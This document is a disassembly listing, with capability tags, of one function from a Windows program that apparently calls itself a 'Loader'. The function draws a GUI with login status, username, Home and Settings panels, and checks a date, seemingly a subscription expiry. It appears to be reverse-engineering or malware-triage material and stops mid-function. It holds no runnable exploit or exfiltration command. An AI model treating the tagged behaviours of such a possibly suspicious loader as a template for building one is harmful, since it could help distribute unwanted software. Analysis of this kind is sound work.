Function at 0x14005acb0
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1400b9040]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor esi, esi
mov dword [rsp + 0x70], esi
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x300]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x14013dd60]
mov dword [rbx + 0x1dd4], 0x43aa0000
mov qword [rbx + 0x1dd8], 0x43480000
mov dword [rbx + 0x1de0], esi
mov dword [rbx + 0x1dc4], 2
mov byte [rbx + 0x1dfc], 1
or dword [rbx + 0x1dc0], 3
mov dword [rbx + 0x1de4], 0x44960000
mov dword [rbx + 0x1de8], 0x442f0000
mov dword [rbx + 0x1dc8], 1
lea rcx, [rbx + 0x1e80]
movss xmm1, dword [rbx + 0x163c]
movss xmm0, dword [rbx + 0x1640]
mov dword [rsp + 0x50], 1
movss dword [rsp + 0x54], xmm1
movss dword [rsp + 0x58], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov qword [rbx + 0x163c], rsi
xor edx, edx
lea r8d, [rsi + 0x2b]
lea rcx, str.Loader
call fcn.140023bd0
mov rdx, qword [0x14013dd60]
mov rax, qword [rdx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rcx, qword [rdx + 0x1d18]
mov rbx, qword [rcx + 0x2f8]
movsd xmm8, qword [rcx + 0x50]
movss xmm6, dword [rcx + 0x58]
mov byte [rcx + 0xd1], 1
mov rax, qword [rdx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm9, dword [rax + 0x118]
movss xmm10, dword [rax + 0x11c]
movss xmm14, dword [0x1400ac674]
subss xmm10, xmm14
addss xmm9, dword [0x1400ac6a8]
movss dword [rsp + 0x78], xmm9
movss dword [rsp + 0x7c], xmm10
xorps xmm13, xmm13
mov qword [rbp + 0x200], rsi
mov dword [rbp - 0x80], 0x3f800000
mov dword [rbp - 0x7c], 0x3f800000
movaps xmm0, xmmword [0x1400ac800]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
movaps xmm7, xmm8
shufps xmm7, xmm7, 0x55
movss xmm11, dword [0x1400ac6bc]
addss xmm7, xmm11
movsd qword [rsp + 0x50], xmm8
addss xmm6, xmm8
movss dword [rbp - 0x78], xmm6
movss dword [rbp - 0x74], xmm7
mov dword [rsp + 0x28], 0x30
movss xmm6, dword [0x1400ac660]
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140044990
movaps xmm0, xmmword [0x1400ac8f0]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r11d, eax
movaps xmm0, xmmword [0x1400ac830]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r10d, eax
movaps xmm0, xmmword [0x1400ac830]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r9d, eax
movaps xmm0, xmmword [0x1400ac8f0]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r8d, eax
movaps xmm0, xmmword [0x1400ac830]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
addss xmm8, dword [0x1400ac6a4]
movss dword [rbp - 0x78], xmm8
movss dword [rbp - 0x74], xmm7
movss dword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], r11d
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r8d
mov r9d, eax
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140049a50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm13
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac760]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x41f00000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
call fcn.140050a60
test al, al
je 0x14005b05d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm13
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm13
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43870000
mov dword [rsp + 0x54], 0x44480000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.leftside
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005b129
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005b138
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 0x30
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.leftside
call fcn.140020c40
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r12d, eax
addss xmm10, dword [0x1400ac6d4]
addss xmm9, dword [0x1400ac6f4]
movss dword [rbp - 0x78], xmm9
movss dword [rbp - 0x74], xmm10
mov r14, qword [0x14013de38]
test eax, 0xff000000
je 0x14005b255
mov r15, qword [rdi + 0x98]
cmp r14, r15
je 0x14005b1b7
mov rdx, r14
mov rcx, rdi
call fcn.140041ea0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movss xmm3, dword [0x1400ac650]
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.1400441b0
mov r9d, r12d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400431d0
mov dword [rdi + 0x78], esi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400454c0
cmp r14, r15
je 0x14005b255
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005b23d
mov rax, rsi
jmp 0x14005b246
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140041c50
mov rax, qword [0x14013dd60]
mov rcx, qword [rax + 0x1d18]
movss xmm6, dword [rcx + 0x118]
movss xmm7, dword [rcx + 0x11c]
addss xmm7, dword [0x1400ac6dc]
addss xmm6, dword [0x1400ac6cc]
movss dword [rbp - 0x78], xmm6
movss dword [rbp - 0x74], xmm7
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140019590
mov r12d, eax
addss xmm7, dword [0x1400ac6b8]
addss xmm6, xmm11
movss dword [rsp + 0x78], xmm6
movss dword [rsp + 0x7c], xmm7
mov r14, qword [0x14013dd98]
movss xmm12, dword [0x1400ac6d0]
test eax, 0xff000000
je 0x14005b38b
mov r15, qword [rdi + 0x98]
cmp r14, r15
je 0x14005b2f1
mov rdx, r14
mov rcx, rdi
call fcn.140041ea0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm12
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x78]
mov rcx, rdi
call fcn.1400441b0
mov r9d, r12d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400431d0
mov dword [rdi + 0x78], esi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x78]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400454c0
cmp r14, r15
je 0x14005b38b
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005b373
mov rax, rsi
jmp 0x14005b37c
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140041c50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ac708]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac6c0]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013dd80]
call fcn.140027300
mov qword [rbp + 0xe8], rsi
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x50], rax
xor edx, edx
lea rcx, [rbp + 0x1e0]
call fcn.140068610
nop
mov r15d, 1
mov dword [rsp + 0x70], r15d
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x2d8], rsi
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x14005b476
mov rax, qword [rcx]
lea rdx, [rbp + 0x2a0]
call qword [rax]
mov qword [rbp + 0x2d8], rax
lea rcx, [0x14013df28]
mov rdx, qword [0x14013df38]
cmp qword [0x14013df40], 0xf
jbe 0x14005b495
mov rcx, qword [0x14013df28]
add rdx, rcx
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x208], rdx
movaps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xf0]
call fcn.14006ace0
nop
lea r8, [rbp + 0x1e0]
mov rcx, rax
call fcn.140066de0
nop
lea rcx, [rbp + 0x138]
call fcn.140066d30
mov rcx, qword [rbp + 0x128]
test rcx, rcx
je 0x14005b512
mov rax, qword [rcx]
lea rdx, [rbp + 0xf0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0x128], rsi
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x14005b538
mov rax, qword [rcx]
lea rdx, [rbp + 0xb0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0xe8], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rsi
mov r8d, 6
lea rdx, str.status
lea rcx, [rbp + 0x200]
call fcn.140066740
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1e0]
call fcn.140067850
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140065580
mov byte [rsp + 0x50], 3
mov ecx, 0x20
call fcn.14007aa84
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rsi
mov r8d, 7
lea rdx, str.success
mov rcx, rax
call fcn.140066740
mov qword [rsp + 0x58], rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.140067480
movzx ebx, al
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140065580
nop
test bl, bl
je 0x14005b81e
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rsi
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp + 0x200]
call fcn.140066740
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1e0]
call fcn.140067850
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x1400ac7f0]
movdqu xmmword [rbp + 0x230], xmm1
mov byte [rbp + 0x220], 0
mov dword [rsp + 0x70], 0x41
cmp byte [rax], 3
jne 0x14005f4c9
mov r9, qword [rax + 8]
lea rax, [rbp + 0x220]
cmp rax, r9
je 0x14005b6c6
mov rbx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x14005b694
mov r9, qword [r9]
lea rcx, [rbp + 0x220]
cmp rbx, 0xf
ja 0x14005b6bd
mov qword [rbp + 0x230], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0x220], 0
jmp 0x14005b6c6
mov rdx, rbx
call fcn.140073b90
nop
mov r15d, 0x31
mov dword [rsp + 0x70], r15d
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
movss xmm6, dword [rax + 0x58]
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rax, qword [rbp + 0x220]
test rax, rax
jne 0x14005b705
xorps xmm0, xmm0
jmp 0x14005b75c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400ac784]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400ac774]
movss xmm2, dword [rbx + 0x1a80]
lea rdx, [rsp + 0x50]
mov rcx, qword [rbx + 0x1a78]
call fcn.140048bd0
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [0x1400ac5a8]
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm6, xmm0
mulss xmm6, dword [0x1400ac568]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.14004fd50
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14005b83b
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b817
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b817
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
jmp 0x14005b83b
movaps xmm0, xmmword [0x1400ac920]
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.Failed_to_get_username
lea rcx, [rsp + 0x50]
call fcn.14004fd50
call fcn.1400273a0
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ac6e4]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
movss xmm6, dword [0x1400ac634]
subss xmm2, xmm6
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400ac900]
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.user
lea rcx, [rsp + 0x50]
call fcn.14004fd50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
movss xmm7, dword [0x1400ac690]
addss xmm0, xmm7
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ac6a0]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
cmp dword [0x14013e1c8], 0
sete r8b
lea rdx, str.Home
lea rcx, [0x1400aa8e8]
call fcn.140051fc0
test al, al
je 0x14005ba1b
mov edx, esi
mov dword [0x14013e1c8], edx
jmp 0x14005ba21
mov edx, dword [0x14013e1c8]
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm7
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm6
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
cmp edx, 1
sete r8b
lea rdx, str.Settings
lea rcx, [0x1400aa8ec]
call fcn.140051fc0
test al, al
je 0x14005bb06
mov dword [0x14013e1c8], 1
and r15d, 0xfffffffe
movzx edx, byte [rbp + 0x1e0]
lea rcx, [rbp + 0x1e8]
call fcn.140065580
nop
call fcn.140020e60
lea r14, [0x14013e498]
mov r12d, dword [0x1400b9008]
movss xmm15, dword [0x1400ac6c4]
mov eax, dword [0x14013e1c8]
test eax, eax
jne 0x14005e408
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
movss xmm14, dword [0x1400ac728]
addss xmm2, xmm14
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43870000
mov dword [rsp + 0x54], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container1
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005bc1d
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005bc2c
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.container1
call fcn.140020c40
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
movss xmm8, dword [0x1400ac668]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rbp - 0x80], xmm6
movss dword [rbp - 0x7c], xmm7
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r13d, eax
movss xmm9, dword [0x1400ac6e0]
addss xmm7, xmm9
movss xmm10, dword [0x1400ac714]
addss xmm6, xmm10
movss dword [rbp + 0x200], xmm6
movss dword [rbp + 0x204], xmm7
mov r14, qword [0x14013de40]
test eax, 0xff000000
je 0x14005bdc6
mov r12, qword [rdi + 0x98]
cmp r14, r12
je 0x14005bd22
mov rdx, r14
mov rcx, rdi
call fcn.140041ea0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rbp + 0x200]
lea rdx, [rbp - 0x80]
mov rcx, rdi
call fcn.1400441b0
mov r9d, r13d
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400431d0
mov dword [rdi + 0x78], esi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400454c0
cmp r14, r12
je 0x14005bdbf
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005bda7
mov rax, rsi
jmp 0x14005bdb0
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140041c50
mov r12d, dword [0x1400b9008]
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm11, dword [0x1400ac6f0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
movss xmm12, dword [0x1400ac700]
addss xmm2, xmm12
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013dd88]
call fcn.140027300
lea rdx, [0x14013e3f0]
lea rcx, [rbp + 0x240]
call fcn.140064cc0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005be7f
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005bec5
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005bec0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005c09f
mov rcx, r8
call fcn.14007a770
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2c0], eax
lea rax, [0x140000000]
lea rax, [rax + 0xac1e8]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r15d, 2
mov dword [rsp + 0x70], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x40], r13
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x30], rax
lea rdx, [0x14013df48]
cmp qword [0x14013df60], 0xf
cmova rdx, qword [0x14013df48]
mov r9d, 2
mov r8, qword [0x14013df58]
lea rcx, [rbp - 0x30]
call fcn.140065440
nop
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x1e0], rax
lea rdi, str._Y__m__d
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], rdi
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rax], 0
jne 0x14005bfd0
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.14006a6b0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], r13
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140063900
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov r14, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub r14, rdx
movabs rax, 0x1845c8a0ce512957
cmp r14, 0x278d00
jle 0x14005c0a6
movaps xmm0, xmmword [0x1400aca10]
